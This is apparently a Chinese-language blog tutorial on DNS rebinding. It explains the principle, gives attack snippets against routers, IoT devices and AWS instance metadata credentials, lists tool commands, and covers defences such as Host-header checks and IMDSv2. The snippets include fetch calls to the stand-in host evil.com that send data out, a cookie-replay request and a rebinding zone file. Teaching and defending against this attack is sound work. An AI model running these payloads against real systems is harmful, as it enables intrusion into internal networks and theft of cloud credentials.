DNS重绑定攻击:绕过同源策略的幽灵渗透

DNS重绑定攻击:绕过同源策略的幽灵渗透

1. 漏洞核心原理

DNS重绑定(DNS Rebinding) 是一种利用DNS TTL过期机制,绕过浏览器同源策略(SOP)的攻击技术。攻击者通过控制域名解析,使同一域名在会话期间指向不同IP(如内网地址),实现对内部系统的访问。

攻击三要素

  1. 可控域名:攻击者拥有可快速更新DNS记录的域名

  2. 短TTL设置:DNS记录存活时间极短(如1秒)

  3. 未验证Host头:目标服务仅依赖域名验证


2. 攻击类型与实战复现

(1) 基础内网渗透
// 恶意页面代码
let attackerDomain = "evil.com"; // 初始解析到攻击者IP(如1.2.3.4)
fetch(`http://${attackerDomain}/api`)
  .then(response => response.text())
  .then(data => exfil(data));

// DNS记录变更流程:
// 1. 首次解析 evil.com → 1.2.3.4(通过浏览器验证)
// 2. TTL过期后 evil.com → 192.168.1.1(攻击内网路由器)
(2) 云元数据服务攻击
# 利用AWS IMDSv1(无Hop限制)
rebinding_target = "169.254.169.254" 
js_payload = f"""
fetch('http://{attackerDomain}/latest/meta-data/iam/security-credentials/')
  .then(r => r.text()).then(d => top.postMessage(d,'*'))
"""
(3) 硬件设备控制(IoT案例)
GET /cgi-bin/luci/admin/network/wireless HTTP/1.1
Host: evil.com  # 重绑定后指向路由器IP(192.168.0.1)
Referer: http://evil.com
Cookie: sysauth=admin;  # 利用已保存Cookie

3. 自动化攻击工具链

工具 功能 示例命令
Rebinder 自动化DNS重绑定服务 python3 rebinder.py -d evil.com -t 192.168.1.1
DNSchef 本地DNS服务器模拟 dnschef --fakeip 127.0.0.1 --interface 0.0.0.0
Burp Collaborator 盲注检测 配合Collaborator Everywhere插件

4. 企业级防御方案

(1) 前端防护
// 强制域名白名单
const ALLOWED_DOMAINS = ['trusted.com'];
if (!ALLOWED_DOMAINS.includes(new URL(url).hostname)) {
  throw new Error("Domain not allowed");
}
(2) 服务端加固
方案 实施示例 作用
Host头验证 Nginx if ($host !~* ^trusted.com$) { return 403; } 阻断非法域名
连接层过滤 iptables -A INPUT -p tcp --dport 80 -m recent --name HTTP --set 限制新连接速率
云服务防护 AWS IMDSv2 X-aws-ec2-metadata-token 强制会话令牌
(3) 网络架构设计
  • 出口流量过滤:禁止内网设备向公网DNS服务器查询(强制使用本地DNS)

  • VPC端点策略:限制元数据服务访问源IP

5. 历史漏洞案例

受影响系统 攻击方式 后果
路由器管理界面 重绑定到192.168.1.1 获取管理员权限
Docker API 访问172.17.0.1:2375 容器逃逸
MongoDB 连接127.0.0.1:27017 数据库未授权访问

6. 渗透测试方法论

  1. 目标识别

    • 查找未校验Host头的服务(如API、管理界面)

    • 检测是否存在Access-Control-Allow-Origin: *

  2. 攻击模拟

# 使用FakeDNS设置短TTL
echo "evil.com 1 IN A 1.2.3.4" > zonefile
echo "evil.com 1 IN A 192.168.1.1" >> zonefile
dnsmasq -d -C zonefile
  1. 漏洞验证

    • 使用curl -H "Host: evil.com" http://192.168.1.1

    • 观察是否返回敏感数据

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容